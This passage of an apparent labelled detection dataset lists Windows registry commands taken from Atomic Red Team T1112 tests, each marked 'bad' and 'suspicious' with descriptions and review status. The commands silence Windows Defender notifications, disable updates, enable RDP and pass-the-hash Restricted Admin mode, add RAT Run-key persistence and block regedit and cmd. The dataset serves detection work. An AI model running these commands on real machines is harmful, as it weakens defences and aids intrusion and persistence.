See how azorult malware abuses this technique- https://app.any.run/tasks/a6f2ffe2-e6e2-4396-ae2e-04ea0143f2d8/
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
522d5974d98c03e7c33a9fe5,reg add HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\ImmersiveShell /v UseActionCenterExperience /t REG_DWORD /d 0 /f,reg add HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\ImmersiveShell /v UseActionCenterExperience /t REG_DWORD /d 0 /f,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Disable Windows Security Center Notifications,T1112,"[""T1112""]",windows,0.9,False,"Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows security center notification.
See how azorult malware abuses this technique- https://app.any.run/tasks/a6f2ffe2-e6e2-4396-ae2e-04ea0143f2d8/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
fab41a86d152141972f7c844,reg delete HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\ImmersiveShell /v UseActionCenterExperience /f >nul 2>&1,reg delete HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\ImmersiveShell /v UseActionCenterExperience /f >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Disable Windows Security Center Notifications,T1112,"[""T1112""]",windows,0.55,True,"Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows security center notification.
See how azorult malware abuses this technique- https://app.any.run/tasks/a6f2ffe2-e6e2-4396-ae2e-04ea0143f2d8/
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a0d1bd03884e32f673222ea9,"reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\UX Configuration"" /v Notification_Suppress /t REG_DWORD /d 1 /f","reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\UX Configuration"" /v Notification_Suppress /t REG_DWORD /d 1 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Suppress Win Defender Notifications,T1112,"[""T1112""]",windows,0.9,False,"Modify the registry of the currently logged in user using reg.exe via cmd console to suppress the windows defender notification.
See how azorult malware abuses this technique- https://app.any.run/tasks/a6f2ffe2-e6e2-4396-ae2e-04ea0143f2d8/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
981cd5a7e60b853d1a4241fa,"reg delete ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\UX Configuration"" /v Notification_Suppress /f >nul 2>&1","reg delete ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\UX Configuration"" /v Notification_Suppress /f >nul 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Suppress Win Defender Notifications,T1112,"[""T1112""]",windows,0.55,True,"Modify the registry of the currently logged in user using reg.exe via cmd console to suppress the windows defender notification.
See how azorult malware abuses this technique- https://app.any.run/tasks/a6f2ffe2-e6e2-4396-ae2e-04ea0143f2d8/
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d8abe422a7a588b02013eea1,"reg add ""HKLM\System\CurrentControlSet\Control\Terminal Server"" /v fAllowToGetHelp /t REG_DWORD /d 1 /f","reg add ""HKLM\System\CurrentControlSet\Control\Terminal Server"" /v fAllowToGetHelp /t REG_DWORD /d 1 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Allow RDP Remote Assistance Feature,T1112,"[""T1112""]",windows,0.9,False,"Modify the registry of the currently logged in user using reg.exe via cmd console to allow rdp remote assistance feature. This feature allow specific
user to rdp connect on the targeted machine.
See how azorult malware abuses this technique- https://app.any.run/tasks/a6f2ffe2-e6e2-4396-ae2e-04ea0143f2d8/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0a4465ae946bca60b9a90f0f,"reg delete ""HKLM\System\CurrentControlSet\Control\Terminal Server"" /v fAllowToGetHelp /f >nul 2>&1","reg delete ""HKLM\System\CurrentControlSet\Control\Terminal Server"" /v fAllowToGetHelp /f >nul 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Allow RDP Remote Assistance Feature,T1112,"[""T1112""]",windows,0.55,True,"Modify the registry of the currently logged in user using reg.exe via cmd console to allow rdp remote assistance feature. This feature allow specific
user to rdp connect on the targeted machine.
See how azorult malware abuses this technique- https://app.any.run/tasks/a6f2ffe2-e6e2-4396-ae2e-04ea0143f2d8/
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
de19f7a5027d449f9d792b4a,"reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v NetWire /t REG_SZ /d ""C:\Users\admin\AppData\Roaming\Install\Host.exe"" /f reg add HKCU\SOFTWARE\NetWire /v HostId /t REG_SZ /d HostId-kai6Ci /f reg add HKCU\SOFTWARE\NetWire /v ""Install Date"" /t REG_SZ /d ""2021-08-30 07:17:27"" /f","reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v NetWire /t REG_SZ /d ""C:\Users\admin\AppData\Roaming\Install\Host.exe"" /f reg add HKCU\SOFTWARE\NetWire /v HostId /t REG_SZ /d HostId-kai6Ci /f reg add HKCU\SOFTWARE\NetWire /v ""Install Date"" /t REG_SZ /d ""2021-08-30 07:17:27"" /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,NetWire RAT Registry Key Creation,T1112,"[""T1112""]",windows,0.9,False,"NetWire continues to create its home key (HKCU\SOFTWARE\NetWire) as well as adding it into the auto-run group in the victim’s registry.
See how NetWire malware - https://app.any.run/tasks/41ecdbde-4997-4301-a350-0270448b4c8f/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e3f2c722cf51dbda3c17bcff,reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v NetWire /f >nul 2>&1 reg delete HKCU\SOFTWARE\NetWire /va /f >nul 2>&1 reg delete HKCU\SOFTWARE\NetWire /f >nul 2>&1,reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v NetWire /f >nul 2>&1 reg delete HKCU\SOFTWARE\NetWire /va /f >nul 2>&1 reg delete HKCU\SOFTWARE\NetWire /f >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,NetWire RAT Registry Key Creation,T1112,"[""T1112""]",windows,0.55,True,"NetWire continues to create its home key (HKCU\SOFTWARE\NetWire) as well as adding it into the auto-run group in the victim’s registry.
See how NetWire malware - https://app.any.run/tasks/41ecdbde-4997-4301-a350-0270448b4c8f/
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4e1b943644d61714fae5259b,reg add HKCU\Software\AppDataLow\Software\Microsoft\3A861D62-51E0-15700F2219A4 /v comsxRes /t REG_BINARY /d 72656463616e617279 /f,reg add HKCU\Software\AppDataLow\Software\Microsoft\3A861D62-51E0-15700F2219A4 /v comsxRes /t REG_BINARY /d 72656463616e617279 /f,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Ursnif Malware Registry Key Creation,T1112,"[""T1112""]",windows,0.9,False,"Ursnif downloads additional modules from the C&C server and saves these in the registry folder HKEY_CURRENT_USER\Software\AppDataLow\Software\Microsoft\
More information - https://blog.trendmicro.com/trendlabs-security-intelligence/phishing-campaign-uses-hijacked-emails-to-deliver-ursnif-by-replying-to-ongoing-threads/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
55437e6d6cf66ec6e72b813b,reg delete HKCU\Software\AppDataLow\Software\Microsoft\3A861D62-51E0-15700F2219A4 /va /f >nul 2>&1 reg delete HKCU\Software\AppDataLow\Software\Microsoft\3A861D62-51E0-15700F2219A4 /f >nul 2>&1,reg delete HKCU\Software\AppDataLow\Software\Microsoft\3A861D62-51E0-15700F2219A4 /va /f >nul 2>&1 reg delete HKCU\Software\AppDataLow\Software\Microsoft\3A861D62-51E0-15700F2219A4 /f >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Ursnif Malware Registry Key Creation,T1112,"[""T1112""]",windows,0.55,True,"Ursnif downloads additional modules from the C&C server and saves these in the registry folder HKEY_CURRENT_USER\Software\AppDataLow\Software\Microsoft\
More information - https://blog.trendmicro.com/trendlabs-security-intelligence/phishing-campaign-uses-hijacked-emails-to-deliver-ursnif-by-replying-to-ongoing-threads/
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c9e09013fb30589e746917b3,"reg delete ""HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default"" /va /f reg delete ""HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"" /f","reg delete ""HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default"" /va /f reg delete ""HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"" /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Terminal Server Client Connection History Cleared,T1112,"[""T1112""]",windows,0.9,False,"The built-in Windows Remote Desktop Connection (RDP) client (mstsc.exe) saves the remote computer name (or IP address) and the username that is used to login after each successful connection to the remote computer
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
decdb90865aec06b0c19cc89,reg add HKLM64\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f reg add HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f,reg add HKLM64\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f reg add HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Disable Windows Error Reporting Settings,T1112,"[""T1112""]",windows,0.9,False,"Modify the registry of the currently logged in user using reg.exe via cmd console to disable windows error reporting settings. This Windows feature allow the use to report bug, errors, failure or problems 
encounter in specific application or process.
See how azorult malware abuses this technique- https://app.any.run/tasks/a6f2ffe2-e6e2-4396-ae2e-04ea0143f2d8/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
df645823eaeb33b6ee2d5cf2,reg delete HKLM64\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting /v DisableEnhancedNotifications /f >nul 2>&1 reg delete HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting /v DisableEnhancedNotifications /f >nul 2>&1,reg delete HKLM64\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting /v DisableEnhancedNotifications /f >nul 2>&1 reg delete HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting /v DisableEnhancedNotifications /f >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Disable Windows Error Reporting Settings,T1112,"[""T1112""]",windows,0.55,True,"Modify the registry of the currently logged in user using reg.exe via cmd console to disable windows error reporting settings. This Windows feature allow the use to report bug, errors, failure or problems 
encounter in specific application or process.
See how azorult malware abuses this technique- https://app.any.run/tasks/a6f2ffe2-e6e2-4396-ae2e-04ea0143f2d8/
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ad35aa6e4e6405a7996f7e89,"reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v DisallowRun /t REG_DWORD /d 1 /f reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /f /t REG_SZ /v art1 /d ""regedit.exe"" reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /f /t REG_SZ /v art2 /d ""cmd.exe""","reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v DisallowRun /t REG_DWORD /d 1 /f reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /f /t REG_SZ /v art1 /d ""regedit.exe"" reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /f /t REG_SZ /v art2 /d ""cmd.exe""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,DisallowRun Execution Of Certain Applications,T1112,"[""T1112""]",windows,0.9,False,"Modify the registry of the currently logged in user using reg.exe via cmd console to prevent user running specific computer programs that could aid them in manually removing malware or detecting it 
using security product.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3a4e6f1f7484e5266bd2519f,reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v DisallowRun /f >nul 2>&1 reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v art1 /f >nul 2>&1 reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v art2 /f >nul 2>&1,reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v DisallowRun /f >nul 2>&1 reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v art1 /f >nul 2>&1 reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v art2 /f >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,DisallowRun Execution Of Certain Applications,T1112,"[""T1112""]",windows,0.55,True,"Modify the registry of the currently logged in user using reg.exe via cmd console to prevent user running specific computer programs that could aid them in manually removing malware or detecting it 
using security product.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
52646cc2614eac0ae5d73bf5,"reg add ""hklm\system\currentcontrolset\control\lsa"" /f /v DisableRestrictedAdmin /t REG_DWORD /d 0","reg add ""hklm\system\currentcontrolset\control\lsa"" /f /v DisableRestrictedAdmin /t REG_DWORD /d 0",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Enabling Restricted Admin Mode via Command_Prompt,T1112,"[""T1112""]",windows,0.9,False,"Enabling Restricted Admin Mode via Command_Prompt,enables an attacker to perform a pass-the-hash attack using RDP.

See [Passing the Hash with Remote Desktop](https://www.kali.org/blog/passing-hash-remote-desktop/)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6c5dc54c385ac1a8fc97c818,"reg delete ""hklm\system\currentcontrolset\control\lsa"" /f /v DisableRestrictedAdmin >nul 2>&1","reg delete ""hklm\system\currentcontrolset\control\lsa"" /f /v DisableRestrictedAdmin >nul 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Enabling Restricted Admin Mode via Command_Prompt,T1112,"[""T1112""]",windows,0.55,True,"Enabling Restricted Admin Mode via Command_Prompt,enables an attacker to perform a pass-the-hash attack using RDP.

See [Passing the Hash with Remote Desktop](https://www.kali.org/blog/passing-hash-remote-desktop/)
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
147e87ebc0242669bc5c7440,reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Winlogon /t REG_DWORD /v AllowMultipleTSSessions /d 1 /f,reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Winlogon /t REG_DWORD /v AllowMultipleTSSessions /d 1 /f,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Mimic Ransomware - Enable Multiple User Sessions,T1112,"[""T1112""]",windows,0.9,False,"This test emulates Mimic ransomware's ability to enable multiple user sessions by modifying the AllowMultipleTSSessions value within the Winlogon registry key. 
See [Mimic Ransomware Overview] (https://www.trendmicro.com/en_us/research/23/a/new-mimic-ransomware-abuses-everything-apis-for-its-encryption-p.html)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7207be65f4788c75f46e48a9,reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Winlogon /v AllowMultipleTSSessions /f >nul 2>&1,reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Winlogon /v AllowMultipleTSSessions /f >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Mimic Ransomware - Enable Multiple User Sessions,T1112,"[""T1112""]",windows,0.55,True,"This test emulates Mimic ransomware's ability to enable multiple user sessions by modifying the AllowMultipleTSSessions value within the Winlogon registry key. 
See [Mimic Ransomware Overview] (https://www.trendmicro.com/en_us/research/23/a/new-mimic-ransomware-abuses-everything-apis-for-its-encryption-p.html)
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d55b56acf24ea3f4ebd8ed32,"reg add ""HKLM\System\CurrentControlSet\Control\Terminal Server"" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f","reg add ""HKLM\System\CurrentControlSet\Control\Terminal Server"" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Mimic Ransomware - Allow Multiple RDP Sessions per User,T1112,"[""T1112""]",windows,0.9,False,"This test emulates Mimic ransomware's ability to enable multiple RDP sessions per user by modifying the fSingleSessionPerUser value within the Terminal Server registry key. 
See [Mimic Ransomware Overview] (https://www.trendmicro.com/en_us/research/23/a/new-mimic-ransomware-abuses-everything-apis-for-its-encryption-p.html)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a3cf2089f98550377df63c6a,"reg delete ""HKLM\System\CurrentControlSet\Control\Terminal Server"" /v fSingleSessionPerUser /f >nul 2>&1","reg delete ""HKLM\System\CurrentControlSet\Control\Terminal Server"" /v fSingleSessionPerUser /f >nul 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Mimic Ransomware - Allow Multiple RDP Sessions per User,T1112,"[""T1112""]",windows,0.55,True,"This test emulates Mimic ransomware's ability to enable multiple RDP sessions per user by modifying the fSingleSessionPerUser value within the Terminal Server registry key. 
See [Mimic Ransomware Overview] (https://www.trendmicro.com/en_us/research/23/a/new-mimic-ransomware-abuses-everything-apis-for-its-encryption-p.html)
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
79037eb49413d977e1187fae,"reg add ""HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Event Viewer"" /v MicrosoftRedirectionURL /t REG_SZ /d ""#{redirection_url}"" /f","reg add ""HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Event Viewer"" /v MicrosoftRedirectionURL /t REG_SZ /d ""#{redirection_url}"" /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Event Viewer Registry Modification - Redirection URL,T1112,"[""T1112""]",windows,0.9,False,"Modify event viewer registry values to alter the behavior of the online help redirection. Upon opening an event in event viewer and attempting to view the help page for the event, it will open the URL or execute the program defined in the redirection URL registry entry.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
08730cfdd21c55592a51998b,"reg add ""HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Event Viewer"" /v MicrosoftRedirectionURL /t REG_SZ /d ""http://go.microsoft.com/fwlink/events.asp"" /f","reg add ""HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Event Viewer"" /v MicrosoftRedirectionURL /t REG_SZ /d ""http://go.microsoft.com/fwlink/events.asp"" /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Event Viewer Registry Modification - Redirection URL,T1112,"[""T1112""]",windows,0.55,True,"Modify event viewer registry values to alter the behavior of the online help redirection. Upon opening an event in event viewer and attempting to view the help page for the event, it will open the URL or execute the program defined in the redirection URL registry entry.",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d08ba612bea81b95a3e3c6fa,"reg add ""HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Event Viewer"" /v MicrosoftRedirectionProgram /t REG_EXPAND_SZ /d ""#{redirection_program}"" /f","reg add ""HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Event Viewer"" /v MicrosoftRedirectionProgram /t REG_EXPAND_SZ /d ""#{redirection_program}"" /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Event Viewer Registry Modification - Redirection Program,T1112,"[""T1112""]",windows,0.9,False,"Modify event viewer registry values to alter the behavior of the online help redirection. Upon opening an event in event viewer and attempting to view the help page for the event, it will execute the program defined in the redirection program registry entry.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4765d71da33bb7c415df8474,"reg add ""HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Event Viewer"" /v MicrosoftRedirectionProgram /t REG_EXPAND_SZ /f","reg add ""HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Event Viewer"" /v MicrosoftRedirectionProgram /t REG_EXPAND_SZ /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Event Viewer Registry Modification - Redirection Program,T1112,"[""T1112""]",windows,0.55,True,"Modify event viewer registry values to alter the behavior of the online help redirection. Upon opening an event in event viewer and attempting to view the help page for the event, it will execute the program defined in the redirection program registry entry.",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
48727795ddc4bf19644164f5,"reg add ""hklm\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp"" /v SecurityLayer /t REG_DWORD /d 0 /f","reg add ""hklm\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp"" /v SecurityLayer /t REG_DWORD /d 0 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Enabling Remote Desktop Protocol via Remote Registry,T1112,"[""T1112""]",windows,0.9,False,"Enabling RDP through remote registry.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a6792d0db19d4f061ca691b2,"reg add ""hklm\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp"" /v SecurityLayer /t REG_DWORD /d 2 /f","reg add ""hklm\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp"" /v SecurityLayer /t REG_DWORD /d 2 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Enabling Remote Desktop Protocol via Remote Registry,T1112,"[""T1112""]",windows,0.55,True,"Enabling RDP through remote registry.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6fe354940bc80a5a7ee7da14,"reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications"" /v ""DisableNotifications"" /t REG_DWORD /d 1 /f","reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications"" /v ""DisableNotifications"" /t REG_DWORD /d 1 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Disable Win Defender Notification,T1112,"[""T1112""]",windows,0.9,False,"Disable Win Defender Notification. Redline is using this to disable this win defender feature.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
aad5d6a4f65ed72d62def451,"reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications"" /v ""DisableNotifications"" /t REG_DWORD /d 0 /f","reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications"" /v ""DisableNotifications"" /t REG_DWORD /d 0 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Disable Win Defender Notification,T1112,"[""T1112""]",windows,0.55,True,"Disable Win Defender Notification. Redline is using this to disable this win defender feature.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
99bb18b74e15a9b199eba05a,"reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU"" /v ""NoAutoUpdate"" /t REG_DWORD /d 1 /f","reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU"" /v ""NoAutoUpdate"" /t REG_DWORD /d 1 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Disable Windows OS Auto Update,T1112,"[""T1112""]",windows,0.9,False,"Disable Auto Update Windows OS feature. Redline is using this as part of its defense evasion.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2de63d7ccb9fc60672346707,"reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU"" /v ""NoAutoUpdate"" /t REG_DWORD /d 0 /f","reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU"" /v ""NoAutoUpdate"" /t REG_DWORD /d 0 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Disable Windows OS Auto Update,T1112,"[""T1112""]",windows,0.55,True,"Disable Auto Update Windows OS feature. Redline is using this as part of its defense evasion.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b43a82463c4e0303beca64d3,"reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU"" /v ""NoAutoRebootWithLoggedOnUsers"" /t REG_DWORD /d 1 /f","reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU"" /v ""NoAutoRebootWithLoggedOnUsers"" /t REG_DWORD /d 1 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Disable Windows Auto Reboot for current logon user,T1112,"[""T1112""]",windows,0.9,False,"Disable Windows Auto Reboot for current logon user. Redline is using this as part of its defense evasion.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
de384a940a088938980c6fd8,"reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU"" /v ""NoAutoRebootWithLoggedOnUsers"" /t REG_DWORD /d 0 /f","reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU"" /v ""NoAutoRebootWithLoggedOnUsers"" /t REG_DWORD /d 0 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Disable Windows Auto Reboot for current logon user,T1112,"[""T1112""]",windows,0.55,True,"Disable Windows Auto Reboot for current logon user. Redline is using this as part of its defense evasion.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1c4a379fb8103a7b6a473038,"reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU"" /v ""AUOptions"" /t REG_DWORD /d 2 /f","reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU"" /v ""AUOptions"" /t REG_DWORD /d 2 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Windows Auto Update Option to Notify before download,T1112,"[""T1112""]",windows,0.9,False,"Windows Auto Update Option to Notify before download. Redline is using this as part of its defense evasion.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a69c524513c6740e9ae577fb,"reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU"" /v ""AUOptions"" /t REG_DWORD /d 3 /f","reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU"" /v ""AUOptions"" /t REG_DWORD /d 3 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Windows Auto Update Option to Notify before download,T1112,"[""T1112""]",windows,0.55,True,"Windows Auto Update Option to Notify before download. Redline is using this as part of its defense evasion.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
